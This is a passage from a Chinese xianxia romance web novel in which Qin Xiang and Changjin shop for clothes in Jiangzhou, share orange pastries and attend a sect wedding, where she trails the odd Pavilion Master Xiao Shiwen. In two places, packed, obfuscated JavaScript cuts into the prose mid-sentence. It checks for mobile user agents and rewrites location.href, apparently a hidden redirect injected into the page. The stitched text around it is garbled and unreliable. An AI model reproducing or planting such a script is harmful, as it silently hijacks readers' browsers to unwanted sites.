“……”乔修远被他这话一噎,半晌,气急败坏地在他胸上锤了一锤,“老秦你说这话就没意思了,找你喝个酒就这么难?茳洲又不常来,下次来也不知道是什么时候了,你连我这么一点小小的要求都不愿意满足我?” “这……”秦叙看向秦湘,又看了看乔修远,一时陷入为难的境地。见状,秦湘不愿让秦叙为难,也不想让乔修远失望,便道:“爹爹你留在客栈陪乔伯父吧,我和师兄清桐姐姐还有神君去就好了。” 秦叙动作一顿,迟疑了一下,还是开口道:“真不要爹爹陪?” “不用了,你陪乔伯父吧,”秦湘摇摇头,“只是爹爹和乔伯父喝酒也要点到为止,别喝太多了,喝多了伤身。” “哎哟,还是阿湘好,会关心人会疼人,老秦啊,你可真有福气,阿湘你就放心吧,你乔伯父自有分寸。” 秦湘笑了笑,“乔伯父说笑了,那我肯定是放心的。” 秦叙看了看秦湘,从腰间将钱袋解下,就要塞到秦湘手中,语重心长道:“那你就和楚闵清桐他们去,看上什么买什么,不用省钱,记得早些回来,舟车劳顿了好几天了,早些回来休息。” 秦湘一怔,将那钱袋又推了回去,笑道:“好的,我知道了,不过钱就不用了,我自己有,爹爹自己留着吧。” “你哪来的钱?”秦叙看向她,目光中有些诧异。 “平时爹爹给的攒的呀,还有分到的委派任务的酬金呀,反正就是有钱,爹爹不用担心。” 看着两人你来我往的,站在一旁的周楚闵笑道,“好了,掌门别担心了,阿湘要是钱不够花不是还有我们吗?绝对不会让阿湘沦落到打工还债的地步的。” 沈清桐也道:“是啊,掌门放心吧。” 大家都如此说了,秦叙到底还是放心了,点头道:“行吧,那你们记得早些回来,花了多少钱两回来告诉我一个数目,到时候我报销给你们。” 众人一怔,知道自家掌门的性子,半晌,依言点头:“行。” 如此决定好后,众人就开始办理入住了。将行李提进房间,用过午饭之后,秦叙就留在客栈陪着乔修远喝酒小酌,秦湘四人休息了片刻,又朝着他们打了个招呼过后,才一同出了门。 四人在客栈附近转悠了一圈,并没有看见成衣店,四周除了客栈酒楼便是茶馆,街道上也都是些挑着箩筐卖橘橙瓜果的小贩,叫卖声此起彼伏。 站在茳洲城街道上,秦湘往四周环顾了一圈,看见一个守着篮筐卖柑橘的老妇人,她顿了一顿,朝着身旁几人道:“你们在这里等我一下吧,我去找那个老奶奶问个路。” 说完,她便抬脚朝着那老妇人走去,才刚在她面前站定,那老妇人便立马双眼一亮,面露喜色。赶忙伸手整理了一下面前的橘子,将几个又大又圆的摆在了最上方,“姑娘要买橘子吗?又大又甜,新鲜得很,都是我今早上刚摘的,”她说着,又捡了一个塞进她怀中,道,“可以先尝尝,不好吃的话不收你的钱。” 秦湘一怔,笑盈盈地接下,在老妇人期许的目光下剥开橘子皮,将橘子肉送入嘴中,一边吃一边点头赞赏道,“不错,好吃,那奶奶你给我挑一些吧。” “唉,好好好。”老妇人兴奋地点着头,从一旁拿了个草藤编织的网兜过来,就开始挑橘子。 秦湘蹲在她面前,一边吃着橘子看着她挑拣,一边询问道:“对了,奶奶,我想请问一下,这附近哪里可有成衣店?” 老妇人闻言一顿,抬起头来看了秦湘一眼,笑道,“姑娘不是本地人吧?咱们这是西市,你要想买成衣得去东市,那边很多都是做卖衣裳首饰手工艺品营生的,去那边准没错!” “原来如此,多谢奶奶。”秦湘谢过老妇人之后,便付了钱提着橘子朝那边等着的几人走去。她将橘子分给众人几个,道,“清楚了,这边是西市,成衣店在东市,我们走吧。” 东市和西市各在茳洲城大街两侧相同的位置,左右对称。他们几人本来就在城中心位置,故而从西市走到东市,倒也并不远,不多时,便到了。 那老妇人说得不错,相较于西市卖吃的喝的多,东市更多卖的就是穿的用的,几人在东市大街溜达了一圈,最终选定了一家名曰云绣清的成衣坊。云绣清很大,店面极其阔绰,里边的衣裳款式男女老少都有,以隔间隔开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145753|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几人站在云绣清的门口,正准备踏进去之时,一声震天响的锣鼓声音便从一旁的店铺之中传来,随之而来的,是一哄而上熙熙攘攘的人群。 众人被这动静吸引,转过头去看得膛目结舌。秦湘眨了眨眼,好奇道:“他们在干什么?” 沈清桐看了看那店铺的名字,“酥花斋,应该是卖点心的店铺吧。” 路边有人听见两人的对话,便自来熟地发问道,“你们是第一次来茳洲吧?” 秦湘回过神来,点头答道,“是啊,这位小哥,隔壁那是在做什么呀?怎么那么多人挤?” 见秦湘发问,那人便笑道:“那是酥花斋,咱们茳洲城中最有名的糕点茶楼,咱们茳洲城不是盛产柑橘嘛,今日酥花斋推出新品糕点橘子酥,所以一大早就有人等在这儿了。几位等下若是有时间,也可以去隔壁尝尝鲜来。” “今日推出新品?今日的橘子酥是限量的?所以他们才会在那里抢?”秦湘问。 “对啊,去晚了就没了,不过除了橘子酥,他们家其他糕点点心也是很不错的,如果没抢到新品的话,你们也可以试试他们家其他款式,好了,先不跟你们说了,我也要去抢去了。” 看着那人眨眼之间便冲进人群中消失不见,秦湘简直惊呆了。不过他这话确实勾引起了几人的好奇心,周楚闵看着那被围得水泄不通的店面门口,笑着问几人,“要不我们也去凑凑热闹?” 沈清桐看了看那人的数量,在心中估算了一下,轻声道:“看这架势可能要等好一会儿,阿湘还要买衣裳呢,等下回去肯定晚了。” 秦湘虽然也对这橘子酥挺好奇的,但沈清桐说得是事实,她答应了秦叙要早些回去的,等下整到很晚他又该担心了。于是便道,“是啊,师兄,人太多了,要不算了吧。” “哎呀,这还不简单,”周楚闵展颜笑笑,拉过沈清桐道,“我跟清桐去隔壁酥花斋中先排队买糕点占位置,席清长老陪阿湘去买衣裳,等你们买好了再来隔壁找我们不就好了。” 听周楚闵如此说,秦湘想了一想,好像也是,这样就不会耽误时间了。 于是四人便分头行动,沈清桐与周楚闵去了隔壁酥花斋,而秦湘与长锦便继续前往云绣清。 站在云绣清门口的两个灰衣伙计见二人并肩前来,一怔,便立刻笑着走上前来迎客,“欢迎莅临云绣清,二位是想挑点什么样衣裳?是这位姑娘穿的还是这位公子穿的?” 长锦看了看身边的秦湘,微笑道:“劳烦,有没有她穿的衣裳?适合现在穿的。” 其中一个伙计闻言,立即笑眯眯地答道,“有有有,咱们云绣清啊,可是茳洲城最大的成衣坊了,左边是男子衣裳,右边是幼童衣裳,第二层都是女子衣裳,款式新颖工艺精湛,这品质绝对是你们在别的地方都找不到的,”顿了顿,又侧过身子做了个请的手势,“二位请随我来。” 两人一前一后地跟着上了楼,到了第二层,伙计停下脚步,回身笑道,“这里便是了,姑娘你是自己看一会儿还是让我为你介绍一下?” 这里头的衣服是真的很多,秦湘与长锦对望了一眼,都有些眼花缭乱,长锦是本来就不怎么会挑衣服,而秦湘呢,她的衣服素来都是秦叙准备的,虽然也不是说不会挑吧,但花花世界迷人眼,为了省事快些去隔壁吃橘子酥,她于是朝那伙计点头轻声道,“那就劳烦你了。” “嗳,”那伙计摆摆手,忙道,“不麻烦不麻烦,应该的,那我就来为姑娘介绍介绍吧。”他说着,将秦湘认认真真地打量了一遍,然后走到一件衣裳面前,道,“我瞧着姑娘皮肤白,杏眼明眸,气质明媚,这件鹅黄绣花云锦长裙就很不错,柔和又温暖,非常适合姑娘的气质……” “这件青玉色莲纹刺绣裙也不错,青色素雅清新,却也代表着生机勃勃,”那伙计说着,一眼瞥到了秦湘身后站着的长锦,看着长锦身上青色的锦衣,也猜想两人的关系应该不算简单,心中灵机一动,便道,“而且姑娘你看这衣裳啊,瞧着也和你身后这位公子身上所穿的相配不是?” 听到那伙计这么说,秦湘与长锦的视线在空中交汇了一瞬间,又不约而同地挪开了,长锦看着那伙计,面带微笑道:“你说得很好,这件衣服先拿出来,我们要了,另外再挑几件。” “好嘞,谢谢公子,”伙计喜出望外,连忙将那身衣裙取了出来,小心翼翼地交由了另外一个伙计,然后又领着秦湘道,“姑娘,我再领你继续看看?” 秦湘是个脸皮薄的,哪里还敢再多在这里停留,连忙转过身去,轻咳一声,“好,好,我们继续看。” 长锦看着她逃也似的背影,凤眼微眯,嘴角也不自觉微微扬起。 67.橘子同吉 那伙计又领着秦湘在二楼转悠了一大圈,指了一堆衣裙给秦湘瞧,看着面前伙计那张喋喋不休的嘴,她感叹道,怪不得是茳洲城内最大的成衣店呢,夸人的话是张口就来,完全不需要打任何草稿。 秦湘与他将整个二楼转完,满脑子没别的,全是他一箩筐一箩筐往下砸的热烈夸赞,幸好现在的她不是之前的她了,还算是有些分辨自控能力的,不然要换作之前的她,早就被砸的晕头转向飘飘欲仙分不清东南西北了。 她回到长锦面前,皱着眉头叹了口气,长锦见她如此模样,便侧首问道:“怎么了?没选中心仪的?” “倒也不是,”秦湘苦恼道,“这位小哥介绍了太多件了,不知道该怎么选,要不神君你为我选?” “行啊,我和你一起去看看。”长锦说着,便拉着秦湘一同去了那边。秦湘也只是随口这么一说,倒也没想过长锦真的会如此认真,那边等着的伙计看着两人又走了过来,笑道,“姑娘可是选好了?” 还未等秦湘开口,长锦便道,“方才这位姑娘看过的那些衣裳是哪些?可否指给我看看?” 那伙计一愣,想着方才这客人也是不问价格只管挥手开口,手笔自然大方,说不定此时为他一番介绍他一高兴也全部拿下了呢,想到这儿,他立即回过神来,笑道,“当然可以,公子请随我来。” 那伙计伸手做了个请的姿势,便又如一开始为秦湘介绍的那番再为长锦也介绍了一次,其中更加是不遗余力地夸赞着走在他身旁地秦湘,听得秦湘真是十分不好意思,嗫嚅道:“也没有小哥你说得这么夸张吧……” 长锦笑着看向她,眼中满是柔和,“我倒觉得他说得十分有理。” “……”秦湘只觉得明明都是快十二月的天了,可她的脸颊却发烫得厉害。正欲反驳,抬眼只见长锦脸上笑容缱绻,眸间皆春水。她一怔,半晌,移开目光,无奈叹道,“神君你开心就好。” 长锦顿了顿,轻笑一声,转头朝着一旁站着的伙计道:“这些衣裳都包起来吧,都要了。” 闻言,秦湘与那伙计同时看向长锦,秦湘是满头问号一脸惊诧的,而那伙计自然是喜出望外两眼放光的,他搓着双手小心翼翼地问长锦:“公子指的这些是……” “方才你说适合她的全部,都包起来吧。” “嗳,好好好!!姑娘公子请稍等片刻。”伙计马不停蹄地去了。 一旁的秦湘简直都要惊呆了,她看着伙计跑远的身影,连忙扯扯长锦的衣袖,长锦稍稍弯腰低头看向她,语气还是很温柔:“怎么了?” 秦湘抬着眼睛盯着他,急道,“那伙计方才起码指了十多件,我怎么穿得了这么多,而且我还不知道我身上剩的银钱够不够,要是不够站在那里得多尴尬?” 长锦笑着拍了拍她的头,“放心吧,不会让你尴尬的,我来付。” “嗯?”秦湘没想过此时两人关系已经转变了,除了周楚闵沈清桐他们之外,她也从来没想过要让别人来为自己付款,于是想也不想,立即就摇头拒绝道,“不用,我自己付就可以了。” “……”这话一出,空气中的气息似乎凝固了一瞬,秦湘眨了眨眼,看着面前只盯着她默不作声的长锦,她似乎生出一种错觉,长锦不高兴了。看着他越来越凝重的脸,秦湘一怔,好吧,已经不是错觉了,他是真的不高兴了。 半晌,只听闻长锦一声叹息:“秦湘啊……” 到底还是秦湘妥协了,虽然她有钱是没错,但是两人这关系,长锦为她买几件衣裳而已,也是没错的,她之前便也拒绝过让长锦付款,如今又拒绝,想也不想,他心中肯定是不快的,因为这会让两人看起来格外生分。 看着走在前面的长锦,秦湘无奈笑笑,罢了罢了,分得太清反而还不好,就这样吧,你来我往可能更好些,大不了下次她也为长锦再买些别的。 长锦在柜台结账,因为买的衣裳有点多,正在一件一件盘点,秦湘有些无聊,便站在门口等他。 她原本正放空着脑子看着门外街道发呆,忽然,一个身影站在了她正前方,高大的身躯几乎遮住了她所有的视线。秦湘一怔,眼神聚焦,回过神来,在她面前,站着一个男子。 那男子一袭白色广袖衣袍,约莫四十岁左右的年纪。一只手负于身后,一只手端于身前,他一语不发,就那么直挺挺地站在秦湘面前。两人莫名其妙地对视着,秦湘怔了半晌,脱口而出道,“你是何人?一直盯着我做什么?可是我挡了你的路了?”她说着,往旁边退了两步,将门口的路让了出来。 那男子依旧无言,就那么盯着秦湘又看了一会儿,然后才收回视线,一语不发地抬脚走进了这云绣清中。 秦湘被他盯得莫名,故而也转身看着他的背影远去。直到长锦结了帐,来到了她身边,见她神情有异,便开口问道,“怎么了?” “没事,就是遇见一个怪人……”秦湘喃喃道,顿了顿,收回目光,又看向长锦,“付完钱了?” “嗯,付完了,走吧,去隔壁找沈姑娘他们。” “嗯,行,走吧。”秦湘收回思绪,将那怪人抛诸了脑后,也许是她不认识的哪家门派的人呢,毕竟贺景文林秋月广发请柬,茳洲城中此时就是鱼龙混杂。将那些新买的衣裳收入腰间挂着的收纳锦囊中后,两人便抬脚朝着一旁的酥花斋走了过去,这时那围得水泄不通的人群虽然已经散去,但酥花斋内,也座无虚席,生意火爆得不像话。 秦湘与长锦一前一后地走进那酥花斋中,刚一撩开门口的玛瑙珍珠串珠帘子,柜台后边的伙计便一边匆匆迎了上来,一边面带歉意,赔笑道:“不好意思啊二位,今日小店已经客满,没有位置落座了,如果二位时间充裕的话可以坐在等候区等一会儿……” “不,我们找人,”秦湘笑着打断他,“请问里面有没有一位穿蓝色衣裙的姑娘和一位穿灰色衣袍的公子?” “嗯?”那伙计一愣,旋即反应过来,哦了一声,“有有有,原来你们是一道的,二位请随我来。”伙计领着他们进了一间雅间,撩开雪白轻纱,沈清桐与周楚闵正面对面坐着,闻声抬头,见是两人,周楚闵笑道,“你们来了。” “是啊,师兄你们等很久了吗?”秦湘与长锦双双入座,周楚闵为他们斟了杯茶一一送了出去,笑道,“也没等多久,人太多了些,我们也才刚坐下,你们来得真巧,快来试试这传说中的橘子酥吧。” 沈清桐将那张白玉碟往中间挪了挪,秦湘往桌上看了眼,只见那碟子中摆着四个滚圆可爱的橘子形状的橙色小糕点,小巧精致,一片绿叶点缀其间,栩栩如生。 秦湘眼前一亮,“那么多人挤着,就是为了买这个小东西,长得还真可爱。” 刚好四枚,一人一枚,秦湘先拿了枚递给长锦,这才又拿了一枚吃了起来,轻轻咬了一口,外皮酥脆,薄如蝉翼,酥皮层层叠叠,油而不腻,内里包裹着甜橙馅儿酸甜清爽,橙香四溢。 秦湘只吃了一口,眼睛便又是一亮,赞道,“不愧是新品。”周楚闵也笑道,“不枉我和清桐排这么久的队。” “只有四枚吗?”秦湘又咬了两口,忽然看着手中的糕点问道,“真想买些回去让爹爹和乔伯伯他们也尝尝。” “早就猜到阿湘你会这么想,”沈清桐笑着,轻声道,“买了,还有四枚到时候带回去给掌门他们吃吧。” 闻声,秦湘笑着点头应道:“好。” 四人边吃边聊,期间有伙计送上了一碟新鲜橘子,秦湘盯着那黄橙橙的果子看了会儿,伸手拿了个在手中转着玩,忽然,她脑中灵光一现,摸了摸袖袋之中的暗器袋,然后从中掏出一枚指尖刃来。 其余三人一见,皆是一愣,周楚闵奇道,“阿湘,你这是做什么呢?” “做灯笼,就我们小时候过年的时候做过的那种。”秦湘捏着那枚指尖刃,将那橘子皮完整的取了下来。 做橘灯,这是他们小时候经常玩的小玩意,一盏小橘灯,橘祥又如意,大橘又大利。沈清桐与周楚闵相互对视了一眼,就明白了秦湘说的,长锦不知道,便认真地看着秦湘在桌前一阵捣鼓。 一盏茶功夫后,秦湘终于放下那枚指尖刃,然后两指并拢一点,祭出一张星辰变幻符,点点星光依附在那完整的橘子壳中,在其中凝聚成了三两朵散发着暖暖光辉的洁白小橘花。 小小的橘子灯笼被秦湘托在掌心,她往长锦面前一递,笑道,“神君,好看吗?” 长锦认真地看了半晌,老实点头笑道,“非常好看。” “噗,”秦湘被他认真的神情逗得一乐,轻笑一声,道,“神君你肯定没听说过,橘字同吉,吃橘子做橘灯,寓意大吉大利,吉运连连,呐,送给你啦,你要好好接好哦。” 长锦顿了一顿,望着秦湘倒映着细碎星辰般灿烂明亮的眼睛,他伸出指尖,从她掌心将那盏华光流动的小橘灯接过,仿若真的接过了她对他的那些所有美好祝愿一般,应道,“好。” 从酥花斋中出来后,众人又在城中东市西市各处晃晃悠悠了一个多时辰,逛了大大小小不知道多少个小吃摊和杂货铺,直到真的走到腿发软再也走不动了才拎着一堆杂七杂八的东西回了客栈。 吃过晚饭洗漱完毕和众人唠了一会儿,秦湘就真的累到不行了,困意袭来,遭不住了,她抬手浅浅地打了两个哈欠,又与几人说了声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149842|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再见后便回了厢房睡觉。 秦湘本以为她这一觉可以舒舒服服地直接睡到第二天早上,可惜,天不怜她。才迷迷糊糊刚睡下没多久,隔壁便传来了一阵小孩哭闹声,起初声音还不是特别大,她还以为自己在做梦。 后续哭闹声越来越大,直接将她一整个从梦中哭醒了,秦湘起先是一脸懵然地坐了起来,然后脸上的表情渐渐地显露烦闷,听着一墙之隔的地方,那小孩也不知是怎的,哭闹一晚上,哭得秦湘好想发作。 哭哭哭,那小孩一边哭,秦湘一边数,在那哭声再一次洪亮地传过来时,秦湘忍不住了,实在是忍不了了。她揉了揉被她睡得乱七八糟的头发,一把掀开被子,披了外袍,怒气冲冲地便来到了隔壁门口。正欲敲门狠狠抱怨发作一顿之时,一阵女人疲惫地哄睡声和男人说话的声音传来,“床铺好了,你去休息一会儿吧,我来哄。” 秦湘站在门口,所有的怒气就在这一句之后尽数地漏泄了出去。手愣生生就这样停在了半空中,她皱了皱眉头,良久,手在空中握紧捏拳,最终还是无力地放回了身侧,抬脚转身离去。一边走,一边在心中默念:算了,小孩作息规律本就与大人不同,而且他们无法控制自己,大人也很为难,但是却又无能为力,算了,不要计较,不要计较。 第二日吃早饭的时候,当秦湘顶着两个熊猫眼神情恹恹地出现在众人面前之时,几人皆是一愣,秦叙赶紧上去扶她,焦急关切道:“阿湘,你这是怎么了?” “爹,我没事,就是睡少了,困得很。”秦湘打了个哈欠,朝着秦叙摆摆手。 周楚闵看着她这副模样,奇道,“你昨晚不是睡得挺早的嘛,睡这么多还没睡够?看来真是这几天累坏了。” “我不至于赶两天路就成这样,”秦湘瞧了他一眼,走到长锦身边坐下,叹了口气道,“这客栈什么都好,就是隔音太差,昨晚我隔壁住的应该是一对夫妻带着一个小孩,哭了一晚上,我都要崩溃了,直到今天早上都不停歇的,有时候停一下吧,还没一炷香功夫,就又接着哭起来了,我的天,我感觉,我现在满脑子都还是那小孩儿的哭声,魔音贯耳,太可怕了。” “那阿湘你怎么不来找我呀?”沈清桐端了一碗豆浆放到她面前,笑道,“我这边还算安静,咱们挤挤也能睡一晚上。” “谢谢清桐姐姐,”秦湘端起那碗豆浆,吹了吹表面冒着的氤氲水汽,喝了一口,温热醇厚的豆浆下肚,倒是抚慰了几丝疲惫,“那时候应该已经半夜了,想着清桐姐姐你应该也已经睡了,所以就没去打扰你,没事儿,等下不是要去云雾宗嘛,反正宴席晚上才开始,到时候再补个觉吧。” “那就快些吃吧,”秦叙拿过一双筷子,“吃完了就启程。” 五人围桌吃饭,秦湘喝着豆浆,长锦便在一旁为她打了一碗粥,打碗粥后,又顺手拿了个水煮蛋剥了起来,剥好后,放进了秦湘面前的碗中。 秦湘一怔,偏头看了看他。长锦朝她笑了笑,“吃吧。” 秦湘回过神来,小声道谢:“谢谢神君。” 这小动作被桌上的几人注意到了,沈清桐与周楚闵与两人经常一起吃饭,这些动作在二人眼中倒是没什么,已经习惯了。不过坐在秦湘身旁的秦叙就不一样了,他刚喝了一口粥,目光往身边一瞥,就看见长锦剥了个蛋放进了秦湘碗中。他一怔,以为自己看错了,却又忍不住再抬眼去看,然后就又看见长锦夹了个汤包又放进了秦湘碗中。 秦叙眉心一抽:“……” 秦湘看了看摆在长锦身旁的豆浆碗,那豆浆放的位置离她远,如果不想走的话,就要站起身来伸长手臂才能够得到,于是她也犯了懒,端着空碗唤长锦,“神君,我还想喝豆浆,有些远……” “给我吧,我帮你舀,”长锦拿过她手中的碗,“要半碗还是一碗?” “半碗就够了,”秦湘看了看面前碗中的包子鸡蛋,“太多了吃不完。” “好,”长锦点头应了,拿过一旁的汤勺为她舀了半碗豆浆又递给她,“喝吧。” 秦湘开心地接过,坐在一旁喝得正香。秦叙几许沉默,最终忍不住开口,“阿湘……” “怎么了?爹爹?” 秦叙斟酌了良久,看了看秦湘又看了看长锦,接着道:“虽然我知道你很喜欢席清长老,但是席清长老毕竟是……长辈……” “噗,”当长辈这个词从秦叙口中说出的那一瞬间,除了长锦,桌上几人纷纷笑倒。秦湘刚喝了一口豆浆,差点没被呛死,她趴在桌上缓了好半晌,才强忍住笑意道,“爹爹,神君明明和师兄看上去差不多的年纪,怎么从你口中说得神君跟七老八十似的,哈哈哈哈……” 68.千机阁主 秦叙也有些尴尬,沉默半晌,轻咳一声,道:“好了好了,别笑了,你爹不是这个意思,我的意思是像打豆浆这种小事你就自己站起来打嘛,怎么能劳烦席清长老呢?” 不像他们与长锦之间已经混熟了,秦叙作为掌门,与腾岳之巅其余长老弟子一般,心中对长锦更多的还是敬重,毕竟是神,让神来给你舀汤?想都不敢想,这种僭越的事。 秦湘自然也知道秦叙心中所想,要立马转变他的观念真把长锦当成人和朋友来看,这一时半会肯定是做不到的。所以她也没打算反驳秦叙,正准备回他之时,长锦却先她一步开口了,温声笑道:“举手之劳而已,而且这豆浆就放在我这边,我来舀也更方便些,掌门也不必在意,一点小事,不算劳烦,秦湘平日里也对我很好,我自然应该对她好。” 秦叙微微愕然,不过当事人都这么说了,他也不好再多说什么,沉默片刻,也只能作罢。他收回目光,眼角余光却瞥见了秦湘手腕上带了一根红绳,他忽然觉得这红绳有些眼熟,他仔细地盯着看了一会儿,猛然惊醒,这不和他今早上在长锦腕子上看到的那根一模一样嘛! 秦叙目光灼灼,定定地看着秦湘手上的那一抹红艳,“阿湘,你手上带的这个……” “嗯?”秦湘也顺着秦叙的目光看了下去,长锦编的那条红绳正明晃晃地暴露在了两人的视线之下,她可能知道秦叙想问什么,但她还不想这么早让秦叙知道她与长锦的关系。因为她也还没做好这个心理准备,也不知道如何与他说起。 两人目光交汇,秦湘表面冷静,脑子里却不停在翻涌着。沉默片刻,忽然,灵光一闪,她主动将腕子举了起来,在秦叙面前大大方方地晃了晃,佯装惊奇地问道,“爹爹你是说这个吗?” 秦叙一怔,没想过秦湘竟是这个反应,他回了回神,将心中的疑问故作轻松地问了出来,“是啊,我今早上在席清长老手上也看到一条一样的呢。” “不奇怪,这是上次我们四个一起去镇上玩的时候买的,”秦湘笑道,“当时一眼看着觉得特别好看,就买了,象征着友情,清桐姐姐和师兄也有啊。”她说着,偏头看向了另一边坐着的两人。 沈清桐与周楚闵接收到了信号,连忙道,“是啊,掌门,我们也有。” 秦叙瞅着几人表情自然,想着几人这一年来确实大多数时间都是同进同出的,关系好也实属正常。果然,是他想多了,他怎么会一下有秦湘与长锦在一起了的想法呢,这太可怕了。 想到这儿,他不动声色地点了点头,“友情好啊友情好,吃饭吧,吃饭。” 见秦叙定下心来了,捧着碗认真地吃着包子米粥,其余几人在空中交换了个眼神,也是松下了这口气。友情就友情吧,友情不也等于有情,反正左右都是情。 一行人用过早,便拿着行李结了帐离店。云雾宗离得已经不算远了,他们自客栈前面的方向走去,走了约莫两柱香的时辰,就到了云雾宗门口。 云雾宗不似清虚门那么阔气,不过这些年随着名气的增加,门派内府邸也扩修了一圈,翻新了一番。贺景文与林秋月大婚之日就是明日,此时云雾宗内,红绸高挂,一派喜庆的模样。宗门口侍立着几位主事的长老,正笑容满面地接待着来自五湖四海的宾客。 秦湘几人站在人群里排着队等着上前登记,秦湘环顾四周,忽然远处一个有些眼熟的身影从一旁走来,秦湘定睛一看,一怔,那不是昨日在云绣清门口遇见的那个怪人嘛?!! 那人从远处走近,似乎没有看见秦湘,径直地穿过人群,抬脚朝着门口那几位云雾宗的长老走去。还未走近,那几位长老便已经先迎了上去,朝着那人作了一礼。 距离隔的有些远,秦湘听不清他们说了什么,只看见几人寒暄了几句,然后其中一个长老便引着那人进去了。秦湘看着那人的背影,还是没忍住,扯了扯一旁站着的周楚闵,“师兄。” “嗯?”周楚闵被她扯得一低,转头,愣了愣,道,“怎么了?” “那个人是谁?”秦湘抬抬下巴,“就门口那个穿白色衣袍的那个,被那长老领着走的那个。” 周楚闵偏了偏头,眯着眼睛朝着门口努力看去,看了一阵,恰好那边两人也走到转弯处,露出了半张侧脸来,他一顿,说道,“那不是千机阁阁主萧时闻嘛。” “千机阁阁主?”秦湘满脸惊讶,“那他怎么一个人走?都不带千机阁弟子的吗?” “千机阁阁主年轻时候确实爱张扬,因为千机阁掌握的秘术藏书多,很多门派都有求于他,然后就给他养成了一副那样的性子。不过听说多年前他在外游玩的时候不小心摔了一跤,摔得还挺严重的,昏迷了大半个月呢。” 闻言,秦湘倒吸了一口凉气,点头道,“那这确实摔得还挺严重的。” “是啊,”周楚闵轻声道,“然后等他醒来了之后就性情大变了,以往那副张扬嚣张的样子半分不剩,就变成现在这副模样了,不怎么爱说话,沉默孤寂,出门也不带他那些随从了,就爱自己一个人。”周楚闵说着,又挠挠下巴回过神来,看向秦湘,问道,“不过阿湘你好端端地问他做什么?” “也没什么,就昨天在云绣清门口见过他一回,一句话不吭,”秦湘摆摆手,“就站在我面前,莫名其妙地和他对看了一会儿,我还当他是哪里冒出来的怪人呢,现在听师兄你这么一说,可能他确实有些怪吧。” “哈哈哈哈,”周楚闵哈哈笑了一阵,拍了拍秦湘的肩膀,“下次再遇见别理他就行。” 秦湘嗯了一声应下了,但眼睛还是跟随着那萧时闻而去,直到他的身影完全消失不见,才收回目光。 几人又在门口等了一会儿,才轮到他们。腾岳之巅很早之前便已跻身于六大门派,如今又有了长锦与门下弟子们在花溪镇那骁勇一战,在修仙界中的地位更是水涨船高。于是门口的几位长老一见众人,立即也是笑容满面地迎了上来,客套一番后将人引进大厅内,由云雾宗的宗主与宗主夫人亲自接待。 这种不熟的人情关系就是无聊且尴尬,秦湘昨晚没休息好,此时正是神情恹恹哈欠连篇。于是和云雾宗的宗主与宗主夫人打了个照面之后便先行由云雾宗的弟子领着去了客房休息,留下秦叙几人与那边一脸假笑的贺氏夫妇接着继续一来一回打着太极。 那弟子带着秦湘在云雾宗府邸内左绕右绕,走了好一会儿的功夫,才将她带到一间厢房前,推开门,那弟子转身站在一旁,朝她微微弯腰抱拳行了一礼,“秦姑娘就先在这里休息吧,如果没什么事的话,我就先走了。” 秦湘也朝他点了点头微笑道:“我没什么事情了,你先去忙吧。” “好,那秦姑娘你好好休息。”那弟子朝她又欠了欠身,这才转身离去了。 秦湘看着那弟子的身影消失在了别院拐角处,才抬脚走进了房间。关上门,又伸手捂嘴打了个哈欠,困意如潮水般涌来,她已是到达了极限了,于是连忙摸到床边,身体刚一沾床,便瞬间入睡。 或许真的是她这两天太累了,昨晚上又折腾了一晚上没睡觉,这一觉睡得十分深沉,甚至连梦都没有做,直接一觉睡到了晚上,若不是外面忽然炸开了一阵烟花爆竹声,秦湘可能还会这么接着继续睡下去。 这声巨响是始料不及的,秦湘就被这一下炸醒了,她一个激灵,猛然从床上坐起,云里雾里一脸懵然地左右看了看,还有些分不清自己身在何处。直到房间外又一阵烟花轰然炸开,她才彻底清醒。 秦湘心中大惊,她竟然直接一觉睡到了晚上?!按照修仙界习俗,婚宴一般有三天,在正式婚典前一天晚上会举办婚前宴,宴席一般于酉时正刻开席。秦湘急忙从床上滚了下来,穿好鞋子,拉开房间的门,看着外面黑沉沉的夜晚,顿了顿,赶紧朝着宴会方向赶去。 秦湘在云雾宗内一路狂奔,左绕右绕,却绕进了一片花园之中,花园中小径幽深,外围还穿插着蜿蜒曲折的回廊。秦湘站在这花园之中,四周皆无一人,她怔了怔,嘀咕道:“走错了走错了,不是这边……” 正待转身离去换一条路走,却见一个白色的身影迅速从外边小巷里匆匆走过,秦湘一惊,连忙将身形闪进墙影之中,直到那人走了过去,她才走出阴影处,看向那边,那身影,是千机阁阁主萧时闻。 此时宴席正开,所有人都应该往大殿方向赶才对,可这人却偏偏朝着幽寂无人的方向走,不对劲。秦湘又想起昨日他站在她面前盯着她看了那么久的眼神,心中还是疑虑满满,于是,她也放轻了声音,悄悄地跟了上去。 秦湘跟着那萧时闻,一路左拐右拐。萧时闻的速度极快,秦湘藏在墙角处,悄悄探出一只眼睛朝着他的方向望去,他两只手揣在身前,宽大的袖子中像是藏了些什么东西,且神情就更为奇怪了,走一段路就要停下前后左右打量一番,警惕心十足,生怕被人发现似的。秦湘心中暗道:有鬼,一定有鬼! 萧时闻的这一套动作下来,秦湘对他的怀疑心就更是到达了顶峰。于是又屏息凝神跟着他一路七转八转,转过了一条又一条的小巷,前期萧时闻还只是走的,到后期,慢慢地由走换成了小跑,秦湘不敢分神,也只能加快速度紧紧地跟了上去。 又转入了一条小巷,小巷尽头是一个更为荒凉 